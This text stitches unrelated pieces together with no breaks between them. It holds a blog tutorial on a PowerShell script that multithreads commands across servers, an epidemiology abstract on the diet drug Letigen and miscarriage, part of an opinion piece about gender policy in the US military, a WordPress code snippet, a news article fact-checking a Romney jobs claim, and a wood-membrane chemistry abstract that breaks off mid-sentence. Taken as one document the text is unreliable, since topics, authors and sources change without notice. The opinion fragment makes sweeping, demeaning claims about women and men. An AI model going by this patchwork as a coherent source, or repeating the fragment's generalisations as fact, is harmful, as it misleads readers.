Process{ Write-Progress -Activity "Preloading threads" -Status "Starting Job $($jobs.count)" ForEach ($Object in $ObjectList){ If ($Code -eq $Null){ $PowershellThread = [powershell]::Create().AddCommand($Command) }Else{ $PowershellThread = [powershell]::Create().AddScript($Code) } If ($InputParam -ne $Null){ $PowershellThread.AddParameter($InputParam, $Object.ToString()) | out-null }Else{ $PowershellThread.AddArgument($Object.ToString()) | out-null } ForEach($Key in $AddParam.Keys){ $PowershellThread.AddParameter($Key, $AddParam.$key) | out-null } ForEach($Switch in $AddSwitch){ $Switch $PowershellThread.AddParameter($Switch) | out-null } $PowershellThread.RunspacePool = $RunspacePool $Handle = $PowershellThread.BeginInvoke() $Job = "" | Select-Object Handle, Thread, object $Job.Handle = $Handle $Job.Thread = $PowershellThread $Job.Object = $Object.ToString() $Jobs += $Job } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 Process { Write-Progress -Activity "Preloading threads" -Status "Starting Job $($jobs.count)" ForEach ( $Object in $ObjectList ) { If ( $Code -eq $Null ) { $PowershellThread = [ powershell ] :: Create ( ). AddCommand ( $Command ) } Else { $PowershellThread = [ powershell ] :: Create ( ). AddScript ( $Code ) } If ( $InputParam -ne $Null ) { $PowershellThread. AddParameter ( $InputParam, $Object. ToString ( ) ) | out-null } Else { $PowershellThread. AddArgument ( $Object. ToString ( ) ) | out-null } ForEach ( $Key in $AddParam. Keys ) { $PowershellThread. AddParameter ( $Key, $AddParam. $key ) | out-null } ForEach ( $Switch in $AddSwitch ) { $Switch $PowershellThread. AddParameter ( $Switch ) | out-null } $PowershellThread. RunspacePool = $RunspacePool $Handle = $PowershellThread. BeginInvoke ( ) $Job = "" | Select-Object Handle, Thread, object $Job. Handle = $Handle $Job. Thread = $PowershellThread $Job. Object = $Object. ToString ( ) $Jobs += $Job } }
So now we have to build the thread that we are going to execute. We do this by adding either the command, or the script. The first IF block is to determine which. A thread either takes an existing PowerShell command, or a Scriptblock. If you remember we built this out in the Begin statement above. Once that is done we need to start giving the user the power to control the item we are calling.
First things first we look at $InputParam. This is what allows the user to execute the child script not just with the argument provided, but also specify the parameter. We see this is useful with the Get-Process cmdlet. Let’s say that you want to see the processes running on 20 different servers. If you just ran Get-Process ServerName you would be looking at your local machine for any processes with the name “ServerName” and you would get no return (probably). Instead you would want to run Get-Process –ComputerName ServerName. The trick here is that when you do this you’ve actually changed things! When an item is just hanging at the end of the statement, it is called an Argument. When you pair the item you are setting with the setting it is called a Parameter. So if the user wants to specify the parameter name, we are actually adding a different item to our thread!
Now we need to see if the user wanted to add some extra parameters. For this I decided that a hash table was perfect. This is because they are built much like a parameter, as they are name / value pairs. The user can provide as many as they want in a single hash table, and we can easily run a ForEach to evaluate this. Again we are going to use the.AddParameter() statement to evaluate.
Finally we need to add any Switches that the user wants to add. A good example of this is the –Force switch on cmdlets like Get-ChildItem. We can do this with an array of string which again allows the user to put in as many various switches as they like. One interesting not here is that I had to use.AddParameter() for this as well. Instead of creating a method called.AddSwitch(), Microsoft simply chose to add an overloaded definition of.AddParameter(). What’s peculiar is that even in their documentation (link below) it does in fact say that providing just a string adds a switch instead of parameter.
Now that we have out thread all set up we simply attach our RunspacePool that we setup in the begin statement, and then tell it to execute our thread!
To avoid having a thread hanging around that we lose track of we need to try to do some tracking here. To do this we first catch the thread by creating the output of the command in a $Handle variable. This will provide the link back to the handle in our “End” block. I then go ahead and create a custom object which I have named $Job to hold all these little gems of knowledge. Then I add my custom object to the array for tracking called $Jobs. This method of creating objects was taught to me by my reader from this post!
At this point all of the code to start the jobs is complete! Now we just have to grab all of the jobs back. That calls for the “End” block which is executed once per script run. Since that is the case, we need one main loop to ensure that it stay running while we need it to. Within the “End” block we will watch for jobs to finish and provide that output as they complete.
End{ $ResultTimer = Get-Date While (@($Jobs | Where-Object {$_.Handle -ne $Null}).count -gt 0) { $Remaining = "$($($Jobs | Where-Object {$_.Handle.IsCompleted -eq $False}).object)" If ($Remaining.Length -gt 60){ $Remaining = $Remaining.Substring(0,60) + "..." } Write-Progress ` -Activity "Waiting for Jobs - $($MaxThreads - $($RunspacePool.GetAvailableRunspaces())) of $MaxThreads threads running" ` -PercentComplete (($Jobs.count - $($($Jobs | Where-Object {$_.Handle.IsCompleted -eq $False}).count)) / $Jobs.Count * 100) ` -Status "$(@($($Jobs | Where-Object {$_.Handle.IsCompleted -eq $False})).count) remaining - $remaining" ForEach ($Job in $($Jobs | Where-Object {$_.Handle.IsCompleted -eq $True})){ $Job.Thread.EndInvoke($Job.Handle) $Job.Thread.Dispose() $Job.Thread = $Null $Job.Handle = $Null $ResultTimer = Get-Date } If (($(Get-Date) - $ResultTimer).totalseconds -gt $MaxResultTime){ Write-Error "Child script appears to be frozen, try increasing MaxResultTime" Exit } Start-Sleep -Milliseconds $SleepTimer } $RunspacePool.Close() | Out-Null $RunspacePool.Dispose() | Out-Null } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 End { $ResultTimer = Get-Date While ( @ ( $Jobs | Where-Object { $_. Handle -ne $Null } ). count -gt 0 ) { $Remaining = "$($($Jobs | Where-Object {$_.Handle.IsCompleted -eq $False}).object)" If ( $Remaining. Length -gt 60 ) { $Remaining = $Remaining. Substring ( 0, 60 ) + "..." } Write-Progress ` -Activity "Waiting for Jobs - $($MaxThreads - $($RunspacePool.GetAvailableRunspaces())) of $MaxThreads threads running" ` -PercentComplete ( ( $Jobs. count - $ ( $ ( $Jobs | Where-Object { $_. Handle. IsCompleted -eq $False } ). count ) ) / $Jobs. Count * 100 ) ` -Status "$(@($($Jobs | Where-Object {$_.Handle.IsCompleted -eq $False})).count) remaining - $remaining" ForEach ( $Job in $ ( $Jobs | Where-Object { $_. Handle. IsCompleted -eq $True } ) ) { $Job. Thread. EndInvoke ( $Job. Handle ) $Job. Thread. Dispose ( ) $Job. Thread = $Null $Job. Handle = $Null $ResultTimer = Get-Date } If ( ( $ ( Get-Date ) - $ResultTimer ). totalseconds -gt $MaxResultTime ) { Write-Error "Child script appears to be frozen, try increasing MaxResultTime" Exit } Start-Sleep -Milliseconds $SleepTimer } $RunspacePool. Close ( ) | Out-Null $RunspacePool. Dispose ( ) | Out-Null }
The first part of this is simply to provide some form of pretty output. First, I evaluate what jobs are still running and creating a string (truncated) that names them. I added this so that if the child script is failing on just one or two servers, you will known which they are to fix them. Then a rather complex write-progress statement which I’ll let you look into. For More info on write-progress you can read my blog articles over write-progress or getting the progress of a child job.
Okay, so now we look for jobs that are completed. We can do this by looking into our array of objects where our handle (that we captured above) has.IsCompleted set to $true! We then run a ForEach on each of these to stop it running and dispose of it. Keep in mind that dispose returns all of the output from the thread. What this means is that the script will actually write all of the output as jobs are finished instead of having to wait for all jobs to finish!
Next I added some protection to the script. I had a couple of scripts in my arsenal that would lock up and never finish. When this happened the multithreading script would continue to run and loop forever and ever. To stop this I added a maximum time to wait for additional jobs to finish. To do this I simply look at the system clock for when the last job completed and look at the time gap. If it is greater than out parameter for $MaxResultTime then we’ll throw an error and exit. Note that until PowerShell actually closes those threads will continue to hang around!
As a very last step we clean up our $RunspacePool.
Well that’s all folks! I really hope that this script provide many time saving events for my wonderful readers. I know it has saved me hundreds of man hours!
Following is the full script with the comment block intact for your cutting and pasting pleasure! Note that you can use the advanced controls here to pop out to a new window or show plain code for copy and paste.
#.Synopsis # This is a quick and open-ended script multi-threader searcher # #.Description # This script will allow any general, external script to be multithreaded by providing a single # argument to that script and opening it in a seperate thread. It works as a filter in the # pipeline, or as a standalone script. It will read the argument either from the pipeline # or from a filename provided. It will send the results of the child script down the pipeline, # so it is best to use a script that returns some sort of object. # # Authored by Ryan Witschger - http://www.Get-Blog.com # #.PARAMETER Command # This is where you provide the PowerShell Cmdlet / Script file that you want to multithread. # You can also choose a built in cmdlet. Keep in mind that your script. This script is read into # a scriptblock, so any unforeseen errors are likely caused by the conversion to a script block. # #.PARAMETER ObjectList # The objectlist represents the arguments that are provided to the child script. This is an open ended # argument and can take a single object from the pipeline, an array, a collection, or a file name. The # multithreading script does it's best to find out which you have provided and handle it as such. # If you would like to provide a file, then the file is read with one object on each line and will # be provided as is to the script you are running as a string. If this is not desired, then use an array. # #.PARAMETER InputParam # This allows you to specify the parameter for which your input objects are to be evaluated. As an example, # if you were to provide a computer name to the Get-Process cmdlet as just an argument, it would attempt to # find all processes where the name was the provided computername and fail. You need to specify that the # parameter that you are providing is the "ComputerName". # #.PARAMETER AddParam # This allows you to specify additional parameters to the running command. For instance, if you are trying # to find the status of the "BITS" service on all servers in your list, you will need to specify the "Name" # parameter. This command takes a hash pair formatted as follows: # # @{"ParameterName" = "Value"} # @{"ParameterName" = "Value" ; "ParameterTwo" = "Value2"} # #.PARAMETER AddSwitch # This allows you to add additional switches to the command you are running. For instance, you may want # to include "RequiredServices" to the "Get-Service" cmdlet. This parameter will take a single string, or # an aray of strings as follows: # # "RequiredServices" # @("RequiredServices", "DependentServices") # #.PARAMETER MaxThreads # This is the maximum number of threads to run at any given time. If resources are too congested try lowering # this number. The default value is 20. # #.PARAMETER SleepTimer # This is the time between cycles of the child process detection cycle. The default value is 200ms. If CPU # utilization is high then you can consider increasing this delay. If the child script takes a long time to # run, then you might increase this value to around 1000 (or 1 second in the detection cycle). # # #.EXAMPLE # Both of these will execute the script named ServerInfo.ps1 and provide each of the server names in AllServers.txt # while providing the results to the screen. The results will be the output of the child script. # # gc AllServers.txt |.\Run-CommandMultiThreaded.ps1 -Command.\ServerInfo.ps1 #.\Run-CommandMultiThreaded.ps1 -Command.\ServerInfo.ps1 -ObjectList (gc.\AllServers.txt) # #.EXAMPLE # The following demonstrates the use of the AddParam statement # # $ObjectList |.\Run-CommandMultiThreaded.ps1 -Command "Get-Service" -InputParam ComputerName -AddParam @{"Name" = "BITS"} # #.EXAMPLE # The following demonstrates the use of the AddSwitch statement # # $ObjectList |.\Run-CommandMultiThreaded.ps1 -Command "Get-Service" -AddSwitch @("RequiredServices", "DependentServices") # #.EXAMPLE # The following demonstrates the use of the script in the pipeline # # $ObjectList |.\Run-CommandMultiThreaded.ps1 -Command "Get-Service" -InputParam ComputerName -AddParam @{"Name" = "BITS"} | Select Status, MachineName # Param($Command = $(Read-Host "Enter the script file"), [Parameter(ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)]$ObjectList, $InputParam = $Null, $MaxThreads = 20, $SleepTimer = 200, $MaxResultTime = 120, [HashTable]$AddParam = @{}, [Array]$AddSwitch = @() ) Begin{ $ISS = [system.management.automation.runspaces.initialsessionstate]::CreateDefault() $RunspacePool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $ISS, $Host) $RunspacePool.Open() If ($(Get-Command | Select-Object Name) -match $Command){ $Code = $Null }Else{ $OFS = "`r`n" $Code = [ScriptBlock]::Create($(Get-Content $Command)) Remove-Variable OFS } $Jobs = @() } Process{ Write-Progress -Activity "Preloading threads" -Status "Starting Job $($jobs.count)" ForEach ($Object in $ObjectList){ If ($Code -eq $Null){ $PowershellThread = [powershell]::Create().AddCommand($Command) }Else{ $PowershellThread = [powershell]::Create().AddScript($Code) } If ($InputParam -ne $Null){ $PowershellThread.AddParameter($InputParam, $Object.ToString()) | out-null }Else{ $PowershellThread.AddArgument($Object.ToString()) | out-null } ForEach($Key in $AddParam.Keys){ $PowershellThread.AddParameter($Key, $AddParam.$key) | out-null } ForEach($Switch in $AddSwitch){ $Switch $PowershellThread.AddParameter($Switch) | out-null } $PowershellThread.RunspacePool = $RunspacePool $Handle = $PowershellThread.BeginInvoke() $Job = "" | Select-Object Handle, Thread, object $Job.Handle = $Handle $Job.Thread = $PowershellThread $Job.Object = $Object.ToString() $Jobs += $Job } } End{ $ResultTimer = Get-Date While (@($Jobs | Where-Object {$_.Handle -ne $Null}).count -gt 0) { $Remaining = "$($($Jobs | Where-Object {$_.Handle.IsCompleted -eq $False}).object)" If ($Remaining.Length -gt 60){ $Remaining = $Remaining.Substring(0,60) + "..." } Write-Progress ` -Activity "Waiting for Jobs - $($MaxThreads - $($RunspacePool.GetAvailableRunspaces())) of $MaxThreads threads running" ` -PercentComplete (($Jobs.count - $($($Jobs | Where-Object {$_.Handle.IsCompleted -eq $False}).count)) / $Jobs.Count * 100) ` -Status "$(@($($Jobs | Where-Object {$_.Handle.IsCompleted -eq $False})).count) remaining - $remaining" ForEach ($Job in $($Jobs | Where-Object {$_.Handle.IsCompleted -eq $True})){ $Job.Thread.EndInvoke($Job.Handle) $Job.Thread.Dispose() $Job.Thread = $Null $Job.Handle = $Null $ResultTimer = Get-Date } If (($(Get-Date) - $ResultTimer).totalseconds -gt $MaxResultTime){ Write-Error "Child script appears to be frozen, try increasing MaxResultTime" Exit } Start-Sleep -Milliseconds $SleepTimer } $RunspacePool.Close() | Out-Null $RunspacePool.Dispose() | Out-Null } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 #.Synopsis # This is a quick and open-ended script multi-threader searcher # #.Description # This script will allow any general, external script to be multithreaded by providing a single # argument to that script and opening it in a seperate thread. It works as a filter in the # pipeline, or as a standalone script. It will read the argument either from the pipeline # or from a filename provided. It will send the results of the child script down the pipeline, # so it is best to use a script that returns some sort of object. # # Authored by Ryan Witschger - http://www.Get-Blog.com # #.PARAMETER Command # This is where you provide the PowerShell Cmdlet / Script file that you want to multithread. # You can also choose a built in cmdlet. Keep in mind that your script. This script is read into # a scriptblock, so any unforeseen errors are likely caused by the conversion to a script block. # #.PARAMETER ObjectList # The objectlist represents the arguments that are provided to the child script. This is an open ended # argument and can take a single object from the pipeline, an array, a collection, or a file name. The # multithreading script does it's best to find out which you have provided and handle it as such. # If you would like to provide a file, then the file is read with one object on each line and will # be provided as is to the script you are running as a string. If this is not desired, then use an array. # #.PARAMETER InputParam # This allows you to specify the parameter for which your input objects are to be evaluated. As an example, # if you were to provide a computer name to the Get-Process cmdlet as just an argument, it would attempt to # find all processes where the name was the provided computername and fail. You need to specify that the # parameter that you are providing is the "ComputerName". # #.PARAMETER AddParam # This allows you to specify additional parameters to the running command. For instance, if you are trying # to find the status of the "BITS" service on all servers in your list, you will need to specify the "Name" # parameter. This command takes a hash pair formatted as follows: # # @{"ParameterName" = "Value"} # @{"ParameterName" = "Value" ; "ParameterTwo" = "Value2"} # #.PARAMETER AddSwitch # This allows you to add additional switches to the command you are running. For instance, you may want # to include "RequiredServices" to the "Get-Service" cmdlet. This parameter will take a single string, or # an aray of strings as follows: # # "RequiredServices" # @("RequiredServices", "DependentServices") # #.PARAMETER MaxThreads # This is the maximum number of threads to run at any given time. If resources are too congested try lowering # this number. The default value is 20. # #.PARAMETER SleepTimer # This is the time between cycles of the child process detection cycle. The default value is 200ms. If CPU # utilization is high then you can consider increasing this delay. If the child script takes a long time to # run, then you might increase this value to around 1000 (or 1 second in the detection cycle). # # #.EXAMPLE # Both of these will execute the script named ServerInfo.ps1 and provide each of the server names in AllServers.txt # while providing the results to the screen. The results will be the output of the child script. # # gc AllServers.txt |.\Run-CommandMultiThreaded.ps1 -Command.\ServerInfo.ps1 #.\Run-CommandMultiThreaded.ps1 -Command.\ServerInfo.ps1 -ObjectList (gc.\AllServers.txt) # #.EXAMPLE # The following demonstrates the use of the AddParam statement # # $ObjectList |.\Run-CommandMultiThreaded.ps1 -Command "Get-Service" -InputParam ComputerName -AddParam @{"Name" = "BITS"} # #.EXAMPLE # The following demonstrates the use of the AddSwitch statement # # $ObjectList |.\Run-CommandMultiThreaded.ps1 -Command "Get-Service" -AddSwitch @("RequiredServices", "DependentServices") # #.EXAMPLE # The following demonstrates the use of the script in the pipeline # # $ObjectList |.\Run-CommandMultiThreaded.ps1 -Command "Get-Service" -InputParam ComputerName -AddParam @{"Name" = "BITS"} | Select Status, MachineName # Param ( $Command = $ ( Read-Host "Enter the script file" ), [ Parameter ( ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true ) ] $ObjectList, $InputParam = $Null, $MaxThreads = 20, $SleepTimer = 200, $MaxResultTime = 120, [ HashTable ] $AddParam = @ { }, [ Array ] $AddSwitch = @ ( ) ) Begin { $ISS = [ system. management. automation. runspaces. initialsessionstate ] :: CreateDefault ( ) $RunspacePool = [ runspacefactory ] :: CreateRunspacePool ( 1, $MaxThreads, $ISS, $Host ) $RunspacePool. Open ( ) If ( $ ( Get-Command | Select-Object Name ) -match $Command ) { $Code = $Null } Else { $OFS = "`r`n" $Code = [ ScriptBlock ] :: Create ( $ ( Get-Content $Command ) ) Remove-Variable OFS } $Jobs = @ ( ) } Process { Write-Progress -Activity "Preloading threads" -Status "Starting Job $($jobs.count)" ForEach ( $Object in $ObjectList ) { If ( $Code -eq $Null ) { $PowershellThread = [ powershell ] :: Create ( ). AddCommand ( $Command ) } Else { $PowershellThread = [ powershell ] :: Create ( ). AddScript ( $Code ) } If ( $InputParam -ne $Null ) { $PowershellThread. AddParameter ( $InputParam, $Object. ToString ( ) ) | out-null } Else { $PowershellThread. AddArgument ( $Object. ToString ( ) ) | out-null } ForEach ( $Key in $AddParam. Keys ) { $PowershellThread. AddParameter ( $Key, $AddParam. $key ) | out-null } ForEach ( $Switch in $AddSwitch ) { $Switch $PowershellThread. AddParameter ( $Switch ) | out-null } $PowershellThread. RunspacePool = $RunspacePool $Handle = $PowershellThread. BeginInvoke ( ) $Job = "" | Select-Object Handle, Thread, object $Job. Handle = $Handle $Job. Thread = $PowershellThread $Job. Object = $Object. ToString ( ) $Jobs += $Job } } End { $ResultTimer = Get-Date While ( @ ( $Jobs | Where-Object { $_. Handle -ne $Null } ). count -gt 0 ) { $Remaining = "$($($Jobs | Where-Object {$_.Handle.IsCompleted -eq $False}).object)" If ( $Remaining. Length -gt 60 ) { $Remaining = $Remaining. Substring ( 0, 60 ) + "..." } Write-Progress ` -Activity "Waiting for Jobs - $($MaxThreads - $($RunspacePool.GetAvailableRunspaces())) of $MaxThreads threads running" ` -PercentComplete ( ( $Jobs. count - $ ( $ ( $Jobs | Where-Object { $_. Handle. IsCompleted -eq $False } ). count ) ) / $Jobs. Count * 100 ) ` -Status "$(@($($Jobs | Where-Object {$_.Handle.IsCompleted -eq $False})).count) remaining - $remaining" ForEach ( $Job in $ ( $Jobs | Where-Object { $_. Handle. IsCompleted -eq $True } ) ) { $Job. Thread. EndInvoke ( $Job. Handle ) $Job. Thread. Dispose ( ) $Job. Thread = $Null $Job. Handle = $Null $ResultTimer = Get-Date } If ( ( $ ( Get-Date ) - $ResultTimer ). totalseconds -gt $MaxResultTime ) { Write-Error "Child script appears to be frozen, try increasing MaxResultTime" Exit } Start-Sleep -Milliseconds $SleepTimer } $RunspacePool. Close ( ) | Out-Null $RunspacePool. Dispose ( ) | Out-Null }
Further Reading:
Initial Session State:
http://msdn.microsoft.com/en-us/library/system.management.automation.runspaces.initialsessionstate%28v=vs.85%29.aspx
Runspaces:
http://msdn.microsoft.com/en-us/library/System.Management.Automation.Runspaces.Runspace(v=vs.85).aspx
PowerShell Class:
http://msdn.microsoft.com/en-us/library/system.management.automation.powershell%28v=vs.85%29.aspx
PowerShell AddParameter Method:
http://msdn.microsoft.com/en-us/library/system.management.automation.powershell.addparameter%28v=vs.85%29.aspxAbstract Background Medications may be consumed periconceptionally before a woman knows she is pregnant. In this study, the authors evaluate the association of a prescription diet drug (Letigen) containing ephedrine (20 mg) and caffeine (200 mg) with spontaneous abortion (SAB) in the Danish National Birth Cohort. Methods Women were recruited during their first prenatal visit from 1996–2002. Pre-conception and early pregnancy medication use was reported on the enrollment form, and pregnancy outcome was determined by linking the mother's Civil Registration Number to the Medical Birth Registry and the National Hospital Discharge Register. Of 97,903 eligible pregnancies, 4,443 ended in SAB between 5 and 20 completed gestational weeks, inclusive. Letigen use was reported for 565 pregnancies. Cox regression models accounting for left truncation were fit to estimate the effect of pre-conception and early pregnancy Letigen use on SAB. Principal Findings The estimated maternal age-adjusted hazard ratio for SAB was 1.1 (95% confidence interval 0.8–1.6) for any periconceptional Letigen use compared to no periconceptional use. Conclusions Although Letigen has high levels of caffeine (the recommended 3 pills/day are approximately equivalent to caffeine from 6 cups of coffee), periconceptional use does not appear to be associated with an appreciably increased hazard of clinically recognized SAB.
Citation: Howards PP, Hertz-Picciotto I, Bech BH, Nohr EA, Andersen A-MN, Poole C, et al. (2012) Spontaneous Abortion and a Diet Drug Containing Caffeine and Ephedrine: A Study within the Danish National Birth Cohort. PLoS ONE 7(11): e50372. https://doi.org/10.1371/journal.pone.0050372 Editor: Hamid Reza Baradaran, Tehran University of Medical Sciences, Iran (Republic of Islamic) Received: July 16, 2012; Accepted: October 19, 2012; Published: November 16, 2012 Copyright: © 2012 Howards et al. This is an open-access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited. Funding: The Danish National Research Foundation has established the Danish Epidemiology Science Centre that initiated and created the Danish National Birth Cohort. The cohort is furthermore a result of a major grant from this foundation. Additional support for the Danish National Birth Cohort was obtained from the Pharmacy Foundation, the Egmont Foundation, the March of Dimes Birth Defects Foundation, and the Augustinus Foundation. This particular study was supported by a grant from the Danish Epidemiology Science Centre and a dissertation completion fellowship from the Graduate School at the University of North Carolina, Chapel Hill. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript. Competing interests: The authors have declared that no competing interests exist.
Materials and Methods The Danish National Birth Cohort has been described in detail elsewhere [37]. Briefly, between March 1, 1996 and November 1, 2002, pregnant women across Denmark were provided information about the study during their first prenatal visit. According to a pilot study, approximately 50% of all pregnant women received an invitation to participate, and about 60% of those signed the consent form [37]. The exclusion criteria were not having access to a telephone, not speaking Danish, and not intending to carry the pregnancy to term as of the first prenatal visit. A total of 101,051 pregnancies were enrolled. PPT PowerPoint slide
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larger image TIFF original image Download: Table 4. Unadjusted and age-adjusted hazard ratios and 95% confidence intervals for the association between Letigen * use and spontaneous abortion (SAB) in the Danish National Birth Cohort (1996–2002). https://doi.org/10.1371/journal.pone.0050372.t004 The Danish National Birth Cohort was approved by the Danish Scientific Ethics Committee, and this specific study was approved by the Danish Data Protection Board. All women participating in the cohort provided written informed consent. Pregnancy Outcome Pregnancy outcome was assessed from Danish national registries, which can be linked using the unique identifier, the Civil Registration Number. The Medical Birth Registry and the Civil Registration System were used to obtain data on live and still births. Other pregnancy outcomes were identified in the National Hospital Discharge Register, and emigration prior to the end of pregnancy was determined from the Civil Registration System. Less than one percent of the study pregnancies could not be linked to registry data; in these cases, outcome information from the interviews was used instead [4]. We excluded 34 pregnancies with unknown outcomes and 142 ectopic and molar pregnancies. We defined SAB as an involuntary intrauterine loss between gestational days 35–146, inclusive (i.e. 5–20 completed weeks) (Figure 1). Primarily, we based gestational age on the National Hospital Discharge Register, which contained an estimate of gestational age that was usually based on a sonogram. However, for 391 pregnancies, we used the last menstrual period (LMP) date reported on the enrollment form because it seemed reasonable and the date from the National Hospital Discharge Register was missing or seemed incorrect. We excluded 124 pregnancies with missing or erroneous gestational ages, 586 pregnancies enrolled after the outcome, 172 pregnancies allegedly enrolled prior to 28 days post-LMP, and 2,090 pregnancies enrolled after 146 days gestation (i.e. no observed time at risk for SAB), yielding a total of 97,903 pregnancies. Eligible multiple births (n = 2,045) were treated as a single event; we treated the one eligible pregnancy with discrepant outcomes as a SAB. Exposure Assessment The exposure of interest was periconceptional use of Letigen. Each pill contained 20 mg of ephedrine and 200 mg of caffeine; the recommended dose was three pills per day [38]. Thus, women using Letigen as directed ingested caffeine approximately equivalent to drinking five to six cups of coffee a day [39], as well as ephedrine, and possibly caffeine from other sources. Letigen use was reported on the enrollment form prior to the pregnancy outcome. A pregnancy was defined as exposed if any Letigen use was reported on the enrollment form during the four weeks prior to the woman's LMP through 13 completed weeks post-LMP (n = 565). Twenty-two pregnancies were classified as unexposed despite reported Letigen use because the use predated the periconceptional period. Four women did not report when they used Letigen; we assumed they were exposed. We also defined pre-conception Letigen use as occurring four weeks prior to LMP through two completed gestational weeks, and early pregnancy use as occurring from three to 13 completed gestational weeks (Figure 1). Classification of exposure status was complicated by the fact that there were two versions of the enrollment form. On the original form, used for 65% of the pregnancies, medication type and timing of use were reported in text fields for the three months prior to filling out the form (Figure 1). On the revised form, the participant listed medications consumed and marked boxes to indicate weeks when the medication was used. The boxes covered the four weeks prior to the participant's LMP through enrollment or 13 completed weeks post-LMP, whichever came first (Figure 1). Four factors affected Letigen exposure assignment. First, women enrolled |
: that would be heresy. The modern women has no gender responsibilities, as any Western man of dating age quickly finds out. The needs of men are irrelevant.
The US military has not really fought a war of survival since the Second World War. All this social engineering nonsense, I have argued before in these pages, is a luxury of peace. It will go out the window once the first real fight comes along. That is, unless we’re not so hollowed out and gender-neutralized that we can’t even fight back against a determined enemy. And in the meantime, many people will die unnecessarily, and a great deal of money will be wasted in misguided efforts to change biology and human nature.
I was just reading this weekend, for example, that the US Marine Corps is going to be phasing out it’s time-honored slogan “The Few, The Proud.” Some may think this means nothing. But it does: it very much does. Wait till you see what they replace it with. I can only imagine. I’m sure it’s going to be some gender-neutral, aseptic, chickenshit mantra.
Yet one day men will wake up and find that they’ve been marginalized right out of the military, the workforce, and almost everywhere else.
Read More: 4 Gender-Swapped Fair Tales For the 21st CenturyAre you looking for a way to display a custom post type’s media library inline? While there’s probably a plugin for this, we have created a quick code snippet that you can use to display a custom post type’s media library inline in WordPress.
Instructions:
All you have to do is add this code to your theme’s functions.php file or in a site-specific plugin:
define('MY_POST_TYPE','my'); define('MY_POST_SLUG', 'gallery'); function my_register_post_type () { $args = array ( 'label' => 'Gallery','supports' => array( 'title', 'excerpt','thumbnail' ),'register_meta_box_cb' =>'my_meta_box_cb','show_ui' => true, 'query_var' => true ); register_post_type( MY_POST_TYPE, $args ); } add_action( 'init','my_register_post_type' ); function my_meta_box_cb () { add_meta_box( MY_POST_TYPE. '_details', 'Media Library','my_meta_box_details', MY_POST_TYPE, 'normal', 'high' ); } function my_meta_box_details () { global $post; $post_ID = $post->ID; printf( "<iframe frameborder='0' src=' %s'style='width: 100%%; height: 400px;'> </iframe>", get_upload_iframe_src('media') ); }
Note: If this is your first time adding code snippets in WordPress, then please refer to our guide on how to properly add code snippets in WordPress, so you don’t accidentally break your site.
If you liked this code snippet, please consider checking out our other articles on the site like: 18 Jetpack alternatives to get the features without bloat and how to increase maximum file upload size in WordPress.Republican presidential hopeful and former Massachusetts Governor Mitt Romney says that President Obama’s economic policies amount to the real “war on women,” according to a post at CNN’s “Political Ticker” blog.
The presumptive 2012 nominee was speaking at a Delaware factory when he delivered the remarks. He claimed that 92.3 percent of the “jobs lost” under the Obama administration were positions held by women. Romney was fighting back against news that the president is currently beating him in polls by 19 percentage points with women voters.
Romney’s campaign website claims that under the Obama administration 850,000 women have lost their jobs, citing the Bureau of Labor Statistics. This is only one reading of the data and arguably the most superficial to the point of being misleading.
The National Women’s Law Center notes that while the recession was devastating for American working women, who continued to lose jobs at the beginning of the recovery, the vast majority of jobs lost by women were positions in the public sector, an area targeted by Republican budget cuts and austerity measures.
“Heavy job losses in public sector employment have disproportionately affected women and contributed to the dismal employment picture for women throughout the recovery. While women represented just over half (57.2 percent) of the public workforce at the end of the recession, they lost a disproportionate share (69.1 percent) of the 573,000 jobs cut in this sector between June 2009 and March 2012,” said a post at the NWLC website.
Nonetheless, the same Romney website that chides the president for not producing jobs for women proudly boasts of the candidate’s plan to “Reduce The Federal Workforce By 10 Percent Via Attrition” and “empower” states to slash their own budgets without federal oversight, enabling state and local governments to potentially gut their own public programs with no repercussions.
The NWLC states that while the first part of the recovery was particularly difficult for America’s working women, conditions are slowly improving. The group urges lawmakers to reject further cuts in public services “that would mean more jobs losses and increased hardship, especially for women and their families.”
UPDATE: Politifact, the fact-checking organization based at the Tampa Bay Times rates Romney’s statement that 92% of job losses under the Obama administration have been women as “Mostly False.” Calling the numbers “accurate, but quite misleading,” the report said, “First, Obama cannot be held entirely accountable for the employment picture on the day he took office, just as he could not be given credit if times had been booming. Second, by choosing figures from January 2009, months into the recession, the statement ignored the millions of jobs lost before then, when most of the job loss fell on men. In every recession, men are the first to take the hit, followed by women.”Wood, an earth-abundant material, is widely used in our everyday life. With its mesoporous structure, natural wood is comprised of numerous long, partially aligned channels (lumens) as well as nanochannels that stretch along its growth direction. This wood mesostructure is suitable for a range of emerging applications, especially as a membrane/separation material. Here, we report a mesoporous, three-dimensional (3D) wood membrane decorated with palladium nanoparticles (Pd NPs/wood membrane) for efficient wastewater treatment. The 3D Pd NPs/wood membrane possesses the following advantages: (1) the uniformly distributed lignin within the wood mesostructure can effectively reduce Pd(II) ions to Pd NPs; (2) cellulose, with its abundant hydroxyl groups, can immobilize Pd NPs; (3) the partially aligned mesoporous wood channels as well as their inner ingenious microstructures increase the likelihood of wastewater contacting Pd NPs decorating the wood surface; (4) the long, Pd NP-decorated channels facilitate bulk treatment as water flows through the entire mesoporous wood membrane. As a proof of concept, we demonstrated the use and efficiency of a Pd NPs/wood membrane to remove methylene blue (MB, C 16 H 18 N 3 ClS) from a flowing aqueous solution. The turnover frequency of the Pd NPs/wood membrane, ∼2.02 mol MB ·mol Pd –1·min–1, is much higher than the values reported in the 